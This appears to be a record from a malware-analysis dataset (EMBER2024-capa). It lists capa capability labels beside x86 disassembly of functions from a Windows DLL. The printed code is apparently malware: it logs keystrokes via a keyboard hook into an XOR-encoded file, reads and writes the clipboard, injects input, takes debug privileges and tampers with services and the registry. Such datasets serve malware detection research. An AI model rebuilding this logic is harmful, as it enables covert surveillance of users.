joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a388
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x1001e7f0]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x80
push 4
push ebx
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000a3d3
push 2
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp edi, ebx
pop ecx
mov esi, eax
jle 0x1000a401
mov ecx, dword [ebp + 8]
mov dword [ebp + 8], edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp + 8]
jne 0x1000a3f3
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.100168e6
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a778
Capabilities:
Read file via mapping

Disassembly:
mov eax, 0x10016de4
call fcn.10016960
sub esp, 0x28
push ebx
lea ecx, [ebp - 0x34]
call fcn.1000a7ed
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
neg eax
sbb eax, eax
push str._kaspersky
xor ebx, ebx
push 0x594
and eax, ecx
push ebx
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [0x1001e7f4], eax
je 0x1000a7d2
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [0x1001e7f0], eax
je 0x1000a7d2
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.1000a818
mov ecx, dword [ebp - 0xc]
mov al, bl
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000a970
Capabilities:
Get common file path

Disassembly:
push esi
push str.GetFileAttributesA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
call fcn.1000a778
test al, al
jne 0x1000a995
pop esi
ret
push ebx
xor ebx, ebx
push 0x594
push ebx
push dword [0x1001e7f0]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [0x1001e7ec], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001e7e8], eax
mov eax, dword [0x1001e7f0]
push 0x80
push ebx
mov dword [eax + 8], ebx
mov eax, dword [0x1001e7f0]
mov dword [eax + 4], ebx
mov eax, dword [0x1001e7f0]
mov dword [eax], ebx
mov eax, dword [0x1001e7f0]
add eax, 0x511
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x1001e7f0]
add esp, 0xc
add eax, 0xd
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [0x1001e7f0]
push str._syslog.dat
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1001e7f0]
add eax, 0xd
push eax
call esi
cmp eax, 0xffffffff
mov eax, dword [0x1001e7f0]
je 0x1000aa31
mov byte [eax + 0xc], 1
jmp 0x1000aa34
mov byte [eax + 0xc], bl
mov eax, dword [0x1001e7f0]
cmp dword [eax + 4], ebx
jne 0x1000aa5b
push ebx
push dword [0x1001e7f8]
push 0x1000a568
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov ecx, dword [0x1001e7f0]
mov dword [ecx + 4], eax
pop ebx
mov al, 1
pop esi
ret

Function at 0x1000ab1e
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x1000abc2
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1000abad
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x1000aba4
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.1000aabc
push esi
mov ebx, eax
call fcn.100168e6
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret
Function at 0x1000b214
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100175a8
push 0x100169cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x1000b2b2
dec eax
je 0x1000b2d3
dec eax
je 0x1000b286
dec eax
jne 0x1000b32d
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b32d
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x1000b322
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b32d
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x1000b322
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000b32d
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b32d
mov edi, dword [ebp + 0x14]
cmp edi, esi
jbe 0x1000b32d
cmp edi, 2
jbe 0x1000b306
cmp edi, 4
jne 0x1000b32d
push edi
lea eax, [ebp + 0x1c]
push eax
push edi
jmp 0x1000b315
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000b32d
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000b348
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000ba45
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.USER32.dll
push str.keybd_event
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.mouse_event
push ebx
mov dword [esp + 0x14], eax
call esi
push eax
call edi
push 0x1c
mov edi, eax
mov eax, dword [esp + 0x20]
xor edx, edx
pop ecx
mov dword [esp + 0x10], edi
div ecx
test edx, edx
jne 0x1000bbc0
call fcn.1000f550
mov eax, dword [esp + 0x1c]
push 0x1c
xor edx, edx
pop ecx
div ecx
xor ebx, ebx
cmp eax, ebx
jle 0x1000bbc0
mov ecx, dword [esp + 0x18]
push ebp
mov dword [esp + 0x20], eax
lea esi, [ecx + 8]
mov eax, dword [esi - 4]
cmp eax, 0x200
jb 0x1000baea
cmp eax, 0x208
ja 0x1000baea
mov edi, dword [esi + 4]
movzx ebp, word [esi + 4]
shr edi, 0x10
push edi
push ebp
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push ebp
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov edi, dword [esp + 0x14]
mov eax, dword [esi - 4]
mov ecx, 0x203
cmp eax, ecx
ja 0x1000bb58
je 0x1000bb48
sub eax, 0x100
je 0x1000bb44
dec eax
je 0x1000bb2e
sub eax, 3
je 0x1000bb44
dec eax
je 0x1000bb2e
sub eax, 0xfc
je 0x1000bb23
dec eax
jne 0x1000bbb2
push ebx
push ebx
push ebx
push ebx
push 4
jmp 0x1000bbb0
push ebx
push ebx
push ebx
push ebx
push 2
jmp 0x1000bbb0
push ebx
push 2
push ebx
push dword [esi]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [esi]
push eax
call dword [esp + 0x20]
jmp 0x1000bbb2
push ebx
push ebx
jmp 0x1000bb31
push ebx
push ebx
push ebx
push ebx
push 6
call edi
push ebx
push ebx
push ebx
push ebx
push 6
jmp 0x1000bbb0
sub eax, 0x204
je 0x1000bbaa
dec eax
je 0x1000bba2
dec eax
je 0x1000bb92
dec eax
je 0x1000bb8a
dec eax
je 0x1000bb82
dec eax
dec eax
jne 0x1000bbb2
mov eax, dword [esi]
push ebx
shr eax, 0x10
movsx eax, ax
push eax
push ebx
push ebx
push 0x800
jmp 0x1000bbb0
push ebx
push ebx
push ebx
push ebx
push 0x40
jmp 0x1000bbb0
push ebx
push ebx
push ebx
push ebx
push 0x20
jmp 0x1000bbb0
push ebx
push ebx
push ebx
push ebx
push 0x18
call edi
push ebx
push ebx
push ebx
push ebx
push 0x18
jmp 0x1000bbb0
push ebx
push ebx
push ebx
push ebx
push 0x10
jmp 0x1000bbb0
push ebx
push ebx
push ebx
push ebx
push 8
call edi
add esi, 0x1c
dec dword [esp + 0x20]
jne 0x1000bab4
pop ebp
pop edi
pop esi
pop ebx
pop ecx
pop ecx
ret 8

Function at 0x1000bbc8
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000bc26
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1000bc1f
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8
Function at 0x1000bc29
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000bca5
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x1000bc51
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x1000bca5
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [esi - 1]
push eax
push ebp
lea eax, [edi + 1]
mov byte [edi], 0x76
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x10]
push esi
push edi
call fcn.1000ac3e
push edi
call fcn.100168e6
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000bf6b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x1000c099
cmp dword [esi + 0x1c], 0
je 0x1000c099
call fcn.1000c42e
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.1000c2d9
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.1000c2d9
lea ecx, [esi + 0x88]
call fcn.1000c0a2
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.1000c2d9
cmp byte [edi], 2
jne 0x1000c014
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.1000c467
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.1000c4b3
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x1000c094
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x1000c020
xor edi, edi
cmp eax, dword [0x1001e800]
je 0x1000c039
push edi
mov ecx, esi
call fcn.1000c0f8
test al, al
je 0x1000c039
add edi, 0x13
jmp 0x1000c03c
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000c052
push edi
mov ecx, esi
call fcn.1000c0f8
test al, al
je 0x1000c034
add edi, 0x13
jmp 0x1000c034
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x1001e800], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x1000c08a
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000c077
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
jmp 0x1000c09b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1000c67a
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000c6d6
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
leave
ret
Function at 0x1000c6d8
Capabilities:
Acquire debug privileges
Modify service
Print debug messages
Query service status

Disassembly:
sub esp, 0x218
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], ecx
call fcn.1000c67a
mov ebp, str.SeDebugPrivilege
push 1
push ebp
call fcn.1000d080
pop ecx
pop ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, eax
test ebx, ebx
jne 0x1000c71c
push str.OpenSCManager_Error_n
call esi
push dword [esp + 0x22c]
lea eax, [esp + 0x38]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [esp + 0x38]
pop ecx
push eax
call esi
lea eax, [esp + 0x34]
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x1000c754
push str.OpenService_error__n
call esi
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1000c76b
push str.QueryServiceStatus_error__n
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [esp + 0x10], eax
xor eax, eax
cmp dword [esp + 0x10], eax
jne 0x1000c794
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41f
je 0x1000c792
push str.LockServiceDatabase_
call esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x1000c7b3
push str.ChangeServiceConfig_error__n
jmp 0x1000c7b8
push 0x1001d86c
call esi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
push 0
push ebp
call fcn.1000d080
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x14]
call fcn.1000c638
push 0x1001d860
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret 8
Function at 0x1000c7ff
Capabilities:
Acquire debug privileges
Modify service
Print debug messages
Query service status

Disassembly:
sub esp, 0x218
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], ecx
call fcn.1000c67a
mov ebp, str.SeDebugPrivilege
push 1
push ebp
call fcn.1000d080
pop ecx
pop ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, eax
test ebx, ebx
jne 0x1000c843
push str.OpenSCManager_Error_n
call esi
push dword [esp + 0x22c]
lea eax, [esp + 0x38]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [esp + 0x38]
pop ecx
push eax
call esi
lea eax, [esp + 0x34]
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x1000c87b
push str.OpenService_error__n
call esi
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1000c892
push str.QueryServiceStatus_error__n
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [esp + 0x10], eax
xor eax, eax
cmp dword [esp + 0x10], eax
jne 0x1000c8bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41f
je 0x1000c8b9
push str.LockServiceDatabase_
call esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x1000c8da
push str.ChangeServiceConfig_error__n
jmp 0x1000c8df
push 0x1001d914
call esi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
push 0
push ebp
call fcn.1000d080
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x14]
call fcn.1000c638
push 0x1001d860
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret 8
Function at 0x1000c926
Capabilities:
Acquire debug privileges
Modify service
Print debug messages
Query service status

Disassembly:
sub esp, 0x218
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], ecx
call fcn.1000c67a
mov ebp, str.SeDebugPrivilege
push 1
push ebp
call fcn.1000d080
pop ecx
pop ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, eax
test ebx, ebx
jne 0x1000c96a
push str.OpenSCManager_Error_n
call esi
push dword [esp + 0x22c]
lea eax, [esp + 0x38]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [esp + 0x38]
pop ecx
push eax
call esi
lea eax, [esp + 0x34]
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x1000c9a2
push str.OpenService_error__n
call esi
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1000c9b9
push str.QueryServiceStatus_error__n
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [esp + 0x10], eax
xor eax, eax
cmp dword [esp + 0x10], eax
jne 0x1000c9e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41f
je 0x1000c9e0
push str.LockServiceDatabase_
call esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x1000ca01
push str.ChangeServiceConfig_error__n
jmp 0x1000ca06
push 0x1001d86c
call esi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
push 0
push ebp
call fcn.1000d080
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x14]
call fcn.1000c638
push 0x1001d860
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x218
ret 8
Function at 0x1000ca4d
Capabilities:
Acquire debug privileges
Delete service
Print debug messages
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
call fcn.1000c67a
mov ebx, str.SeDebugPrivilege
push 1
push ebx
call fcn.1000d080
pop ecx
pop ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000ca93
push str.OpenSCManager_Error_n
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x218]
pop ecx
push eax
call esi
lea eax, [ebp - 0x218]
push 0xf01ff
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x1000cacf
push str.OpenService_error__n
call esi
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1000cae5
push str.QueryServiceStatus_error__n
call esi
cmp dword [ebp - 0x20], 1
je 0x1000cb03
lea eax, [ebp - 0x24]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x1000cb03
push 0x1001d94c
call esi
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1000cb15
push 0x1001d93c
jmp 0x1000cb1a
push 0x1001d92c
call esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push dword [ebp - 4]
call edi
push 0
push ebx
call fcn.1000d080
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
call fcn.1000c638
push 0x1001d860
call esi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000cb52
Capabilities:
Acquire debug privileges
Print debug messages
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
call fcn.1000c67a
mov ebx, str.SeDebugPrivilege
push 1
push ebx
call fcn.1000d080
pop ecx
pop ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000cb98
push str.OpenSCManager_Error_n
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x218]
pop ecx
push eax
call esi
lea eax, [ebp - 0x218]
push 0xf01ff
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x1000cbd4
push str.OpenService_error__n
call esi
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1000cbea
push str.QueryServiceStatus_error__n
call esi
cmp dword [ebp - 0x20], 1
je 0x1000cc0f
lea eax, [ebp - 0x24]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x1000cc08
push 0x1001d94c
jmp 0x1000cc14
push 0x1001d96c
jmp 0x1000cc14
push 0x1001d95c
call esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push dword [ebp - 4]
call edi
push 0
push ebx
call fcn.1000d080
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
call fcn.1000c638
push 0x1001d860
call esi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1000cc4c
Capabilities:
Acquire debug privileges
Print debug messages
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
call fcn.1000c67a
mov ebx, str.SeDebugPrivilege
push 1
push ebx
call fcn.1000d080
pop ecx
pop ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000cc92
push str.OpenSCManager_Error_n
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x218]
pop ecx
push eax
call esi
lea eax, [ebp - 0x218]
push 0xf01ff
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x1000ccce
push str.OpenService_error__n
call esi
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1000cce4
push str.QueryServiceStatus_error__n
call esi
cmp dword [ebp - 0x20], 1
jne 0x1000cd07
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x1000cd00
push 0x1001d99c
jmp 0x1000cd0c
push 0x1001d98c
jmp 0x1000cd0c
push 0x1001d97c
call esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push dword [ebp - 4]
call edi
push 0
push ebx
call fcn.1000d080
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
call fcn.1000c638
push 0x1001d860
call esi
pop edi
pop esi
pop ebx
leave
ret 8